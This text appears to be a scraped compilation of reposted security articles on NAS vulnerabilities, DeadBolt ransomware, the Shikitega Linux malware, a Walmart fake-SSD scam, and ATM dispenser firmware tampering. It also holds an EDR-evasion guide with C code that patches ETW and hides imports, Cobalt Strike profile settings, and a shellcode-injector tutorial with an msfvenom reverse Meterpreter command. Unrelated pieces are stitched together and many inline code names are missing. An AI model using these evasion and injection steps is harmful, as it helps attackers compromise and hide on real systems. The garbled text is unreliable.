  • CVE-2022-0910: An authentication bypass vulnerability caused by the lack of a proper access control mechanism has been found in the CGI program of some firewall versions. The flaw could allow an attacker to downgrade from two-factor authentication to one-factor authentication via an IPsec VPN client.

Networking device maker Zyxel is warning customers today of a new critical remote code execution (RCE) vulnerability impacting three models of its Networked Attached Storage (NAS) products.

The vulnerability is tracked as CVE-2022-34747 and has received a CVSS v3 severity score of 9.8, rated critical, but not many details have been disclosed.

“A format string vulnerability was found in a specific binary of Zyxel NAS products that could allow an attacker to achieve unauthorized remote code execution via a crafted UDP packet,” explains the advisory.

Security researcher Shaposhnikov Ilya discovered the vulnerability on June 2022. As a result, Zyxel gradually released security updates for the impacted models over the following months.

The NAS devices vulnerable to this flaw are NAS326, NAS540, and NAS542, all still within their active support period.

The vulnerable firmware versions are V5.21(AAZF.11)C0 and earlier for NAS326, V5.21(AATB.8)C0 and earlier for NAS540, and V5.21(AATB.8)C0 or older for NAS542.

The vendor has already released security updates for the impacted devices in the form of firmware updates, with links to the downloads in the security advisory.

Alternatively, you can visit Zyxel’s official download portal, enter your device model, and download the latest firmware update listed in the results.

Remote code execution flaws allow many different attacks, including bypassing the need for user authentication, elevation of privilege, or any other limiting prerequisite.

The vulnerability could be abused to steal data, delete data, or deploy ransomware on Internet-exposed NAS devices.

While all scenarios are dire, ransomware is the most common, as it gives the threat actors the best way to monetize a successful attack.

Only yesterday, we reported that QNAP patched a zero-day vulnerability over the weekend that was used in a new wave of DeadBolt ransomware attacks.

In February, the same group also targeted ASUSTOR devices by leveraging an exploit for a previously unknown flaw. 

Thus, DeadBolt is competent enough to find undocumented security gaps, let alone exploit known vulnerabilities.

Other ransomware gangs actively targeting NAS devices are Checkmate and eChoraix, both very active in 2022.

QNAP is warning customers of ongoing DeadBolt ransomware attacks that started on Saturday by exploiting a zero-day vulnerability in Photo Station.

The company has patched the security flaw but attacks continue today.

«QNAP® Systems, Inc. today detected the security threat DEADBOLT leveraging exploitation of Photo Station vulnerability to encrypt QNAP NAS that are directly connected to the Internet,» explains the security notice.

The attacks were widespread, with the ID Ransomware service seeing a surge in submissions on Saturday and Sunday.

A surge in DeadBolt submissions to ID Ransomware
Source: BleepingComputer

QNAP releases patches for a zero-day flaw

QNAP released Photo Station security updates 12 hours after DeadBolt began using the zero-day vulnerability in attacks, urging NAS customers to immediately update Photo Station to the newest version.

The following security updates fix the vulnerability:

  • QTS 5.0.1: Photo Station 6.1.2 and later
  • QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later
  • QTS 4.3.6: Photo Station 5.7.18 and later
  • QTS 4.3.3: Photo Station 5.4.15 and later
  • QTS 4.2.6: Photo Station 5.2.14 and later

Alternatively, QNAP suggests users replace Photo Station with QuMagie, a safer photo storage management tool for QNAP NAS devices.

“We strongly urge that their QNAP NAS should not be directly connected to the internet. We recommend users to make use of the myQNAPcloud Link feature provided by QNAP, or enable the VPN service.” - QNAP.

Applying the security updates will prevent the DeadBolt ransomware and other threat actors from exploiting the vulnerability and encrypting devices. However, NAS devices should never be publicly exposed to the Internet and instead placed behind a firewall.

QNAP customers can find detailed instructions on applying the available updates and setting up myQNAPcloud in the security advisory.

Finally, it is recommended to use strong passwords on all NAS user accounts and take regular snapshots to prevent data loss in the case of attacks.

DeadBolt: the NAS ransomware bane

The DeadBolt ransomware gang has been targeting NAS devices since January 2022, using an alleged zero-day vulnerability on Internet-exposed NAS devices.

The ransomware operation conducted further attacks on QNAP devices in May and June 2022.

DeadBolt ransom notes
Source: BleepingComputer

Earlier in February, DeadBolt began targeting ASUSTOR NAS devices using a zero-day vulnerability they attempted to sell to the vendor for 7.5 Bitcoin.

In most of these attacks, DeadBolt demanded a payment of just over a thousand USD from impacted users in exchange for a working decryptor.

However, other NAS ransomware groups demand more significant amounts from their victims.

The Checkmate ransomware targeted QNAP NAS products in July, demanding victims pay $15,000.

New Linux malware evades detection using multi-stage deployment

New Linux malware evades detection using multi-stage deployment

original text by Bill Toulas

A new stealthy Linux malware known as Shikitega has been discovered infecting computers and IoT devices with additional payloads.

The malware exploits vulnerabilities to elevate its privileges, adds persistence on the host via crontab, and eventually launches a cryptocurrency miner on infected devices.

Shikitega is quite stealthy, managing to evade anti-virus detection using a polymorphic encoder that makes static, signature-based detection impossible.

An intricate infection chain

While the initial infection method is not known at this time, researchers at AT&T who discovered Shikitega say the malware uses a multi-step infection chain where each layer delivers only a few hundred bytes, activating a simple module and then moving to the next one.

«Shiketega malware is delivered in a sophisticated way, it uses a polymorphic encoder, and it gradually delivers its payload where each step reveals only part of the total payload.,» explains AT&T’s report.

The infection begins with a 370 bytes ELF file, which is the dropper containing encoded shellcode.

The ELF file that initiates the infection chain (AT&T)

The encoding is performed using the polymorphic XOS additive feedback encoder ‘Shikata Ga Nai,’ previously analyzed by Mandiant.

“Using the encoder, the malware runs through several decode loops, where one loop decodes the next layer until the final shellcode payload is decoded and executed,” continues the report.

“The encoder stud is generated based on dynamic instruction substitution and dynamic block ordering. In addition, registers are selected dynamically.”

Shikata Ga Nai decryption loops (AT&T)

After the decryption is completed, the shellcode is executed to contact the malware’s command and control servers (C2) and receive additional shellcode (commands) stored and run directly from memory.

One of these commands downloads and executes ‘Mettle,’ a small and portable Metasploit Meterpreter payload that gives the attackers further remote control and code execution options on the host.

Downloaded shellcode fetching Mettle (AT&T)

Mettle fetches yet a smaller ELF file, which exploits CVE-2021-4034 (aka PwnKit) and CVE-2021-3493 to elevate privileges and download the final stage payload, a cryptocurrency miner, as root.

Exploiting PwnKit to elevate privileges to root (AT&T)

Persistence for the crypto miner is achieved by downloading five shell scripts that add four cronjobs, two for the root user and two for the current user.

The five shell scripts and their functions (AT&T)

The crontabs are an effective persistence mechanism, so all downloaded files are wiped to reduce the likelihood of the malware being discovered.

The crypto miner is XMRig version 6.17.0, focusing on mining the anonymity-focused and hard-to-trace Monero.

Shikitega infection chain overview

To further reduce the chances of raising alarms on network security products, the threat actors behind Shikitega use legitimate cloud hosting services to host their command and control infrastructure.

This choice costs more money and puts the operators at risk of being traced and identified by law enforcement but offers better stealthiness in the compromised systems.

The AT&T team reports a sharp rise in Linux malware this year, advising system admins to apply the available security updates, use EDR on all endpoints, and take regular backups of most important data.

For now, Shikitega appears focused on Monero mining, but the threat actors may decide that other, more potent payloads can be more profitable in the long run.

A blueprint for evading industry leading endpoint protection in 2022

original text by vivami

About two years ago I quit being a full-time red team operator. However, it still is a field of expertise that stays very close to my heart. A few weeks ago, I was looking for a new side project and decided to pick up an old red teaming hobby of mine: bypassing/evading endpoint protection solutions.

In this post, I’d like to lay out a collection of techniques that together can be used to bypassed industry leading enterprise endpoint protection solutions. This is purely for educational purposes for (ethical) red teamers and alike, so I’ve decided not to publicly release the source code. The aim for this post is to be accessible to a wide audience in the security industry, but not to drill down to the nitty gritty details of every technique. Instead, I will refer to writeups of others that deep dive better than I can.

In adversary simulations, a key challenge in the “initial access” phase is bypassing the detection and response capabilities (EDR) on enterprise endpoints. Commercial command and control frameworks provide unmodifiable shellcode and binaries to the red team operator that are heavily signatured by the endpoint protection industry and in order to execute that implant, the signatures (both static and behavioural) of that shellcode need to be obfuscated.

In this post, I will cover the following techniques, with the ultimate goal of executing malicious shellcode, also known as a (shellcode) loader:

1. Shellcode encryption

Let’s start with a basic but important topic, static shellcode obfuscation. In my loader, I leverage a XOR or RC4 encryption algorithm, because it is easy to implement and doesn’t leave a lot of external indicators of encryption activities performed by the loader. AES encryption to obfuscate static signatures of the shellcode leaves traces in the import address table of the binary, which increase suspicion. I’ve had Windows Defender specifically trigger on AES decryption functions (e.g. 

 etc.) in earlier versions of this loader.

Output of dumpbin /imports, an easy giveaway of only AES decryption functions being used in the binary.

2. Reducing entropy

Many AV/EDR solutions consider binary entropy in their assessment of an unknown binary. Since we’re encrypting the shellcode, the entropy of our binary is rather high, which is a clear indicator of obfuscated parts of code in the binary.

There are several ways of reducing the entropy of our binary, two simple ones that work are:

  1. Adding low entropy resources to the binary, such as (low entropy) images.
  2. Adding strings, such as the English dictionary or some of 
    "strings C:\Program Files\Google\Chrome\Application\100.0.4896.88\chrome.dll"

A more elegant solution would be to design and implement an algorithm that would obfuscate (encode/encrypt) the shellcode into English words (low entropy). That would kill two birds with one stone.

3. Escaping the (local) AV sandbox

Many EDR solutions will run the binary in a local sandbox for a few seconds to inspect its behaviour. To avoid compromising on the end user experience, they cannot afford to inspect the binary for longer than a few seconds (I’ve seen Avast taking up to 30 seconds in the past, but that was an exception). We can abuse this limitation by delaying the execution of our shellcode. Simply calculating a large prime number is my personal favourite. You can go a bit further and deterministically calculate a prime number and use that number as (a part of) the key to your encrypted shellcode.

4. Import table obfuscation

You want to avoid suspicious Windows API (WINAPI) from ending up in our IAT (import address table). This table consists of an overview of all the Windows APIs that your binary imports from other system libraries. A list of suspicious (oftentimes therefore inspected by EDR solutions) APIs can be found here. Typically, these are 

 etc. Running 
dumpbin /exports &lt;binary.exe&gt;
 will list all the imports. For the most part, we’ll use Direct System calls to bypass both EDR hooks (refer to section 7) of suspicious WINAPI calls, but for less suspicious API calls this method works just fine.

We add the function signature of the WINAPI call, get the address of the WINAPI in 

 and then create a function pointer to that address:

typedef BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);
pVirtualProtect fnVirtualProtect;

unsigned char sVirtualProtect&#91;] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sKernel32&#91;] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };

fnVirtualProtect = (pVirtualProtect) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR)sVirtualProtect);
// call VirtualProtect
fnVirtualProtect(address, dwSize, PAGE_READWRITE, &amp;oldProt);

Obfuscating strings using a character array cuts the string up in smaller pieces making them more difficult to extract from a binary.

The call will still be to an 

 WINAPI, and will not bypass any hooks in WINAPIs in 
, but is purely to remove suspicious functions from the IAT.

5. Disabling Event Tracing for Windows (ETW)

Many EDR solutions leverage Event Tracing for Windows (ETW) extensively, in particular Microsoft Defender for Endpoint (formerly known as Microsoft ATP). ETW allows for extensive instrumentation and tracing of a process’ functionality and WINAPI calls. ETW has components in the kernel, mainly to register callbacks for system calls and other kernel operations, but also consists of a userland component that is part of 

 (ETW deep dive and attack vectors). Since 
 is a DLL loaded into the process of our binary, we have full control over this DLL and therefore the ETW functionality. There are quite a few different bypasses for ETW in userspace, but the most common one is patching the function 
 which is called to write/log ETW events. We fetch its address in 
, and replace its first instructions with instructions to return 0 (

void disableETW(void) {
    // return 0
    unsigned char patch&#91;] = { 0x48, 0x33, 0xc0, 0xc3};     // xor rax, rax; ret
    ULONG oldprotect = 0;
    size_t size = sizeof(patch);
    HANDLE hCurrentProc = GetCurrentProcess();
    unsigned char sEtwEventWrite&#91;] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
    void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);
    NtProtectVirtualMemory(hCurrentProc, &amp;pEventWrite, (PSIZE_T) &amp;size, PAGE_READWRITE, &amp;oldprotect);
    memcpy(pEventWrite, patch, size / sizeof(patch&#91;0]));
    NtProtectVirtualMemory(hCurrentProc, &amp;pEventWrite, (PSIZE_T) &amp;size, oldprotect, &amp;oldprotect);
    FlushInstructionCache(hCurrentProc, pEventWrite, size);

I’ve found the above method to still work on the two tested EDRs, but this is a noisy ETW patch.

6. Evading common malicious API call patterns

Most behavioural detection is ultimately based on detecting malicious patterns. One of these patters is the order of specific WINAPI calls in a short timeframe. The suspicious WINAPI calls briefly mentioned in section 4 are typically used to execute shellcode and therefore heavily monitored. However, these calls are also used for benign activity (the 

 pattern in combination with a memory allocation and write of ~250KB of shellcode) and so the challenge for EDR solutions is to distinguish benign from malicious calls. Filip Olszak wrote a great blog post leveraging delays and smaller chunks of allocating and writing memory to blend in with benign WINAPI call behaviour. In short, his method adjusts the following behaviour of a typical shellcode loader:

  1. Instead of allocating one large chuck of memory and directly write the ~250KB implant shellcode into that memory, allocate small contiguous chunks of e.g. <64KB memory and mark them as 
    . Then write the shellcode in a similar chunk size to the allocated memory pages.
  2. Introduce delays between every of the above mentioned operations. This will increase the time required to execute the shellcode, but will also make the consecutive execution pattern stand out much less.

One catch with this technique is to make sure you find a memory location that can fit your entire shellcode in consecutive memory pages. Filip’s DripLoader implements this concept.

The loader I’ve built does not inject the shellcode into another process but instead starts the shellcode in a thread in its own process space using 

. An unknown process (our binary will de facto have low prevalence) into other processes (typically a Windows native ones) is suspicious activity that stands out (recommended read “Fork&Run – you’re history”). It is much easier to blend into the noise of benign thread executions and memory operations within a process when we run the shellcode within a thread in the loader’s process space. The downside however is that any crashing post-exploitation modules will also crash the process of the loader and therefore the implant. Persistence techniques as well as running stable and reliable BOFs can help to overcome this downside.

7. Direct system calls and evading “mark of the syscall”

The loader leverages direct system calls for bypassing any hooks put in 

 by the EDRs. I want to avoid going into too much detail on how direct syscalls work, since it’s not the purpose of this post and a lot of great posts have been written about it (e.g. Outflank).

In short, a direct syscall is a WINAPI call directly to the kernel system call equivalent. Instead of calling the 

 we call its kernel equivalent 
 defined in the Windows kernel. This is great because we’re bypassing any EDR hooks used to monitor calls to (in this example) 
 defined in 

In order to call a system call directly, we fetch the syscall ID of the system call we want to call from 

, use the function signature to push the correct order and types of function arguments to the stack, and call the 
syscall &lt;id&gt;
 instruction. There are several tools that arrange all this for us, SysWhispers2 and SysWhisper3 are two great examples. From an evasion perspective, there are two issues with calling direct system calls:

  1. Your binary ends up with having the 
     instruction, which is easy to statically detect (a.k.a “mark of the syscall”, more in “SysWhispers is dead, long live SysWhispers!”).
  2. Unlike benign use of a system call that is called through its 
     equivalent, the return address of the system call does not point to 
    . Instead, it points to our code from where we called the syscall, which resides in memory regions outside of 
    . This is an indicator of a system call that is not called through 
    , which is suspicious.

To overcome these issues we can do the following:

  1. Implement an egg hunter mechanism. Replace the 
     instruction with the 
     (some random unique identifiable pattern) and at runtime, search for this 
     in memory and replace it with the 
     instruction using the 
     WINAPI calls. Thereafter, we can use direct system calls normally. This technique has been implemented by klezVirus.
  2. Instead of calling the 
     instruction from our own code, we search for the 
     instruction in 
     and jump to that memory address once we’ve prepared the stack to call the system call. This will result in an return address in RIP that points to 
     memory regions.

Both techniques are part of SysWhisper3.

8. Removing hooks in 

Another nice technique to evade EDR hooks in 

 is to overwrite the loaded 
 that is loaded by default (and hooked by the EDR) with a fresh copy from 
 is the first DLL that gets loaded by any Windows process. EDR solutions make sure their DLL is loaded shortly after, which puts all the hooks in place in the loaded 
 before our own code will execute. If our code loads a fresh copy of 
 in memory afterwards, those EDR hooks will be overwritten. RefleXXion is a C++ library that implements the research done for this technique by MDSec. RelfeXXion uses direct system calls 
 to get a handle to a clean 
 (registry path with previously loaded DLLs). It then overwrites the 
 section of the loaded 
, which flushes out the EDR hooks.

I recommend to use adjust the RefleXXion library to use the same trick as described above in section 7.

9. Spoofing the thread call stack

The next two sections cover two techniques that provide evasions against detecting our shellcode in memory. Due to the beaconing behaviour of an implant, for a majority of the time the implant is sleeping, waiting for incoming tasks from its operator. During this time the implant is vulnerable for memory scanning techniques from the EDR. The first of the two evasions described in this post is spoofing the thread call stack.

When the implant is sleeping, its thread return address is pointing to our shellcode residing in memory. By examining the return addresses of threads in a suspicious process, our implant shellcode can be easily identified. In order to avoid this, want to break this connection between the return address and shellcode. We can do so by hooking the 

 function. When that hook is called (by the implant/beacon shellcode), we overwrite the return address with 
 and call the original 
 function. When 
 returns, we put the original return address back in place so the thread returns to the correct address to continue execution. Mariusz Banach has implemented this technique in his ThreadStackSpoofer project. This repo provides much more detail on the technique and also outlines some caveats.

We can observe the result of spoofing the thread call stack in the two screenshots below, where the non-spoofed call stack points to non-backed memory locations and a spoofed thread call stack points to our hooked Sleep (

) function and “cuts off” the rest of the call stack.

Default beacon thread call stack.
Spoofed beacon thread call stack.

10. In-memory encryption of beacon

The other evasion for in-memory detection is to encrypt the implant’s executable memory regions while sleeping. Using the same sleep hook as described in the section above, we can obtain the shellcode memory segment by examining the caller address (the beacon code that calls 

 and therefore our 
 hook). If the caller memory region is 
 and roughly the size of our shellcode, then the memory segment is encrypted with a XOR function and 
 is called. Then 
 returns, it decrypts the memory segment and returns to it.

Another technique is to register a Vectored Exception Handler (VEH) that handles 

 violation exceptions, decrypts the memory segments and changes the permissions to 
. Then just before sleeping, mark the memory segments as 
, so that when 
 returns, it throws a memory access violation exception. Because we registered a VEH, the exception is handled within that thread context and can be resumed at the exact same location the exception was thrown. The VEH can simply decrypt and change the permissions back to RX and the implant can continue execution. This technique prevents a detectible 
 hook being in place when the implant is sleeping.

Mariusz Banach has also implemented this technique in ShellcodeFluctuation.

11. A custom reflective loader

The beacon shellcode that we execute in this loader ultimately is a DLL that needs to be executed in memory. Many C2 frameworks leverage Stephen Fewer’s ReflectiveLoader. There are many well written explanations of how exactly a relfective DLL loader works, and Stephen Fewer’s code is also well documented, but in short a Reflective Loader does the following:

  1. Resolve addresses to necessary 
     WINAPIs required for loading the DLL (e.g. 
  2. Write the DLL and its sections to memory
  3. Build up the DLL import table, so the DLL can call 
  4. Load any additional library’s and resolve their respective imported function addresses
  5. Call the DLL entrypoint

Cobalt Strike added support for a custom way for reflectively loading a DLL in memory that allows a red team operator to customize the way a beacon DLL gets loaded and add evasion techniques. Bobby Cooke and Santiago P built a stealthy loader (BokuLoader) using Cobalt Strike’s UDRL which I’ve used in my loader. BokuLoader implements several evasion techniques:

  • Limit calls to 
     (commonly EDR hooked WINAPI call to resolve a function address, as we do in section 4)
  • AMSI & ETW bypasses
  • Use only direct system calls
  • Use only 
    , and no 
    ) permissions
  • Removes beacon DLL headers from memory

Make sure to uncomment the two defines to leverage direct system calls via HellsGate & HalosGate and bypass ETW and AMSI (not really necessary, as we’ve already disabled ETW and are not injecting the loader into another process).

12. OpSec configurations in your Malleable profile

In your Malleable C2 profile, make sure the following options are configured, which limit the use of 

 marked memory (suspicious and easily detected) and clean up the shellcode after beacon has started.

    set startrwx        "false";
    set userwx          "false";
    set cleanup         "true";
    set stomppe         "true";
    set obfuscate       "true";
    set sleep_mask      "true";
    set smartinject     "true";


Combining these techniques allow you to bypass (among others) Microsoft Defender for Endpoint and CrowdStrike Falcon with 0 detections (tested mid April 2022), which together with SentinelOne lead the endpoint protection industry.

CrowdStrike Falcon with 0 alerts.
Windows Defender (and also Microsoft Defender for Endpoint, not screenshotted) with 0 alerts.

Of course this is just one and the first step in fully compromising an endpoint, and this doesn’t mean “game over” for the EDR solution. Depending on what post-exploitation activity/modules the red team operator choses next, it can still be “game over” for the implant. In general, either run BOFs, or tunnel post-ex tools through the implant’s SOCKS proxy feature. Also consider putting the EDR hooks patches back in place in our 

 hook to avoid detection of unhooking, as well as removing the ETW/AMSI patches.

It’s a cat and mouse game, and the cat is undoubtedly getting better.

Walmart Sells Fake 30TB Hard Drive That’s Actually Two Small SD Cards in a Trench Coat

Walmart Sells Fake 30TB Hard Drive That’s Actually Two Small SD Cards in a Trench Coat

original text by Joseph Cox

A cybersecurity researcher bought the same item from AliExpress and took it apart. Walmart removed the hard drive after Motherboard contacted the company.

Until Monday, Walmart shoppers could grab an incredible deal: a massive solid state hard drive (SSD) for the incredible price of $17.99. Often, similar drives go for much more, depending on their size. Generally, a TB of storage on an SSD can cost between $50 to $100.

Here’s the Walmart ad:

Ray, a cybersecurity researcher, who saw a similar item on online retailer AliExpress, knew the offer was too good to be true. He bought the drive, suspecting it was a scam, and took it apart to find out what exactly was happening here. Sure enough, he found what amounted to a different item cosplaying as a big SSD. Inside were two small memory cards and the item had been programmed in such a way so as to appear it had 30TB of storage when plugged into a computer.

“I knew going in it would be a scam but I thought we might use it as an educational opportunity,” the cybersecurity researcher who goes by the name Ray, who tweeted his findings last week, told Motherboard in an online chat. “My son and I worked on it together.”

After Motherboard contacted Walmart about the listing on its own site on Friday, the company removed the item from its digital shelves on Monday.

Ray’s finding highlights something that many consumers may be unaware of: that Walmart, much like Amazon, runs an online marketplace that sells many, many products from third party sellers and not just those found on Walmart’s physical shelves, opening itself up to reputation, quality, and content moderation issues. 

“Thanks for reaching out and bringing this to our attention,” Robyn Babbitt, director of corporate communications at Walmart, told Motherboard in an email. “Walmart has a robust trust and safety program, which actively works to protect our customers and help ensure items are authentic. After reviewing this item, it has been removed from our site.”

Sign up for Motherboard’s daily newsletter for a regular dose of our original reporting, plus behind-the-scenes content about our biggest stories.

After using a razor blade to open up the item’s casing, instead of an SSD Ray found a board with two glued down SD cards. But when plugged in to a Windows machine, the computer reported detecting two 15TB drives. That is unrealistic, to say the least: although SD cards can reach into the terabytes, they are typically much more expensive than what this drive costs. Ray believes the scammers modified the firmware that makes the device misreport its storage size

As Ray tweeted out his findings, another user, SM4Tech, found that the drive was available on Walmart. Motherboard then contacted Walmart for comment.

Ray wasn’t the only person who found the harddrive suspicious, judging by reviews left on the item on Walmart’s website.

“DO NOT BUY THIS—it is a scam,” the title of one review, left by someone calling themselves William, reads. “Walmart should get smarter than to sell products like this. I thought I was buying a 8 terabyte SSD drive, for $28, and this piece of garbage does not work, in any way, shape or form. This product is a scam, and Walmart should be ashamed of itself to sell them.”

“Don’t buy it,” another review reads. “The product is not what there [sic] saying it is.”

Other reviewers have given the item a 5 star rating, although it’s not clear if that is actually the manufacturers dressing up as someone else, much like the hard drive they are selling.

Shell Code Injector with AES Encryption — EDR Bypass

Shell Code Injector with AES Encryption - EDR Bypass

original text by San3ncrypt3d

I have been getting a lot of messages from people asking about AV evasion. I won’t give away the source code for a fully undetectable payload, but I thought I’d share a basic implementation of a shell code runner that will take AES encrypted shell code and decrypt it and inject into a process such as explorer! Before we proceed, the technique used to inject shell code is well known to AVs and you will get flagged, the purpose of this writeup is to show how AES can be implemented, and you can use same/similar techniques to bypass EDR solution with more sophisticated techniques

What do you need to follow along?

• Metasploit

• Visual Studio

• Windows Machine for testing payload

The first thing to do is to create a shell code using msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=IP LPORT=443 -f csharp

Now download the project for encrypting the shellcode with AES encryption: Click Here

Make sure to change the shellcode to your shellcode here:

* Note: if you change the key/IV make sure to update them on the decryption part as well ! **

Once you compile and run the program, you will get the encrypted shell code:

Now we will need to create a program that will essentially take this encrypted shell code, and decrypt It and inject into a process’s virtual address space.

Here is the program: AESInjector

I will briefly explain what is going on:

• “buf” is an array with the encrypted shell code

• “Dshell” uses the AESDecrypt function and stores the decrypted shell code

• Now we use Win32 Api’s for allocating shell code in memory, copy the shell code and execute it with VirtualAllocEx and WriteProcessMemory and CreateRemoteThread:

Now you change the “buf” array with the encrypted shell we acquired from previous program and compile the program and run it

Of course, make sure to start a lister on Metasploit:

At the time of writing this project, the payload is only detected by 3/26 Av engines:

I am a bit surprised that only 3 AV’s caught it, but you can enhance this project into making it completely undetectable:

Credits: some of the codes are taken from other open source projects



On the recent vulnerability in Diebold Nixdorf ATMs

On the recent vulnerability in Diebold Nixdorf ATMs

Original text by Vladimir Kononovich (@DrMefistO), Senior Specialist of ICS Security at Positive Technologies.

Disclaimer: This article is published solely for information purposes and is in no way a guide to action. The vulnerabilities described in the article were discovered by the author as part of the project approved by the ATM manufacturer. At this point, they have been fixed by Diebold Nixdorf, which was notified by Positive Technologies in accordance with the principles of responsible disclosure. As an additional element of protection, the vendor was recommended to enable physical authentication for the operator during firmware installation in order to make sure that changes to the ATM are made by an employee and not by an attacker.

Hi there! A while ago, Positive Technologies published the news that ATMs manufactured by Diebold Nixdorf (previously known as Wincor), or more specifically, the RM3 and CMDv5 cash dispensers, contained a vulnerability which allowed attackers to withdraw cash and upload modified (vulnerable) firmware. And since my former colleague Alexei Stennikov and I were directly involved in finding this vulnerability, I would like to share some details.


First, I think I should briefly tell you what an ATM is, how it works, and what exactly dispensers are. In general, an ATM is a rather complex system, which consists of two major parts: upper and lower.

NCR ATM is presented in this figure, but it doesn’t change the idea
NCR ATM is presented in this figure, but it doesn’t change the idea

The upper part is a usual PC, which most often lies flat in this part. There are plenty of USB devices plugged into it: cameras, printers, card readers, and, finally, the dispenser, which is located in the lower part. The PC in the upper part (which, by the way, is considered insecure) is usually the main target for malware attacks. But it’s not about us — malware is bad! So, let’s go down the USB cable to the lower part of the ATM, where we can see…

The safe zone (a.k.a. safe or dispenser) — a securely protected part of the ATM. It is locked with a key, which only cash couriers have; it is not made of plastic (unlike the upper part) and is often reinforced with concrete or mounted into a wall. And there is something in the safe which is the reason why ATMs are hacked — banknotes. They are arranged by denomination in cassettes, each of which is also locked with a key. The money is taken out of the cassettes using a belt system (and NCRs use suction cups), goes along the conveyor to the shutter, and then is extracted by the user.

So, this whole complex system of sensors (used to evaluate the thickness, number, and crumpling of bills), conveyors, shutters, and cassettes is controlled by the dispenser control board (or more simply, the dispenser). The board has a processor, memory, and other elements of an independent device; also, there’s code that controls everything. And that’s where we just came down the USB cable.

Why criminals hack the dispenser instead of the PC, and what do blackbox attacks have to do with it?

A good question, you know. If we look from an attacker’s perspective (which we’d better not), the disconnection of one USB device (the dispenser) from the ATM computer will be displayed only as a line in the computer logs, and the logs of the dispenser itself will not contain any meaningful information (if compared with the commands run from the attacker’s console).

Some time ago, dispensers were often hacked using blackbox attacks. During such as attack, the criminal, having once captured the USB/COM cash withdrawal traffic on one device, could use it on another one, hack it, and get the money. Today, no one is likely to be able to pull this off, because anti-blackbox techniques are used everywhere: for example, session rolling keys for encrypting USB traffic and the use of cryptography at almost every stage. Now only an ATM computer can work with this encryption, so most often, an attacker can no longer get into the traffic.

But then this article wouldn’t exist, and neither would the news I mentioned. There was one small vulnerability in our project (fortunately, it has already been fixed). Read about it below.

What made it vulnerable?

Before we begin, I’ll briefly explain what the vulnerability is about and then I’ll move on to the details.

First of all, it should be said that the firmware is encrypted with keys that are known only to the vendor. An attacker can exploit the vulnerabilities described by Positive Technologies (one in each device) to upload firmware to the dispenser without knowing the encryption keys (they will be mentioned below as KEY0 and KEY1). That is, having a clean code, an attacker can modify it however he likes, encrypt it again, upload it to the ATM, and then withdraw cash bypassing the existing USB traffic encryption algorithms. Well, now let’s move on to the details…

End of 2017, the project begins

As part of the project in a bank, Alexei and I got two files: one had the .BTR (bootloader) extension, and the second had the .FRM (firmware). The files had clear headers, but at the same time the content was completely incomprehensible. We tried all kinds of ways to decrypt the content (it became obvious that it was encrypted), but to no avail. The project could have ended there, and the files remained on the hard drive for several months until the wise guy Alexei decided to look for a dispenser control board on eBay. As you might have guessed, Alexei did find the board there, and after a while it was lying on his table.

To have a controller is a blessing, not to have one is a curse

After ringing up the board pins, we found the JTAG connector, which was located right next to the main CPU. In addition to the main one, there were two more processors on the board, the purpose of which was not very clear to us: CollectorBooter and DispenseBooter. Nevertheless, the memory of all the three processors was dumped for further analysis.

Well, it’s not a big deal. But what was next? We decided to try doing something about the firmware — we had its encrypted files, remember? And although we had the dumps, it was a lot more pleasant to work with the firmware in pure form.

Vendor’s software

Quite often, either for diagnostic purposes or for work with an ATM, manufacturers write specialized programs that can be used to perform both standard tasks and some undocumented ones that are rarely used. For example, updating the dispenser firmware. Such software was in our project as well. And it was not written in some kind of BASIC or C++, but in the good old (and respected by any reverse engineer) Java language. With it, you can decompile or re-assemble things if need be.

After digging into JAR files, we discovered a function that uploaded firmware files to the controller. Unfortunately, it did not decrypt the files, but gave us a good opportunity to debug this process. By connecting the debugger over the JTAG and running the firmware upload, we somehow managed to find the place responsible for decryption. Let’s talk about it. 

Encryption of firmware files

The encryption algorithm was a regular XTEA, but with a delta that was rather unusual for it: 0xF27716BA. We don’t know how it was generated or whether it was safe or not. But one thing was for sure: it can’t be googled.

The following input data was used as the XTEA encryption key:

●      First five dwords coming immediately after the firmware name specified in the header (we called them Header-Dwords)

●      External key KEY0, 8 bytes long (it’s still unclear where it came from)

●      External key KEY1, 16 bytes long (we didn’t know where to find it either)

After a while, we did find a piece of code that extracted both KEY0 and KEY1. It turned out that they were located in a special area at offset 0x64000000, the offset in which was hard-coded by default. Next, we made a dump of this area and extracted both foreign keys from there. By using these keys in a slop-built decryptor, we got… No, not the firmware.

AP32 archives

It was aPLib. Those whose everyday job is to reverse malware will surely recognize this name, since this compression algorithm is (was) very often used by malware developers.

So, we obtained a lot of archives, and they all went one after another. If you join the unpacked data blocks together, you will get the complete firmware. Seems like there’s reason to celebrate? Not so fast. When trying to change something in the firmware (for example, a string), after packing and encrypting it, the device refused to accept our firmware. So, there was an integrity check somewhere.


The name of this section speaks for itself. Yes, we found the code that verified the firmware signature, and, funnily enough, the firmware itself had everything that was needed to verify its integrity, namely the public key and the signed data itself.

As a signature verification algorithm, RSA was used with an exponent equal to 7, and the bit count of the key was determined by the size of the public part N. It turned out that if you fitted into the offsets at which the signature and public key were written, you could set almost any length.

That’s what we did. Instead of the original 2048 bits (I believe so), we successfully inserted a 512-bit key.

Uploading the modified firmware

Yes, we could do that now. Here I think I should tell in more detail what the firmware uploading is. To begin with, let’s open the device manager and see what is displayed there during normal operation of the controller:

And this is how the list looks when the device is being updated:

This last device accepts the files. And it uses the Device Firmware Update (DFU) protocol, which we could have understood even without having the control board. The thing is that at the end of each firmware file there is a certain structure that contains the UFD tag.

First, the protocol command DFU_DETACH is sent to the device, after that the USB command UsbCyclePort is executed, which enables the interface that accepts the firmware. Anyone who has worked with this protocol will say that it also has the DFU_UPLOAD command (in this case, «download»), but it was not implemented in our project.

Running the firmware

After uploading the firmware to the dispenser, it is decrypted, unpacked, its signature is verified, and then the firmware is written to flash memory.

Cash withdrawal?

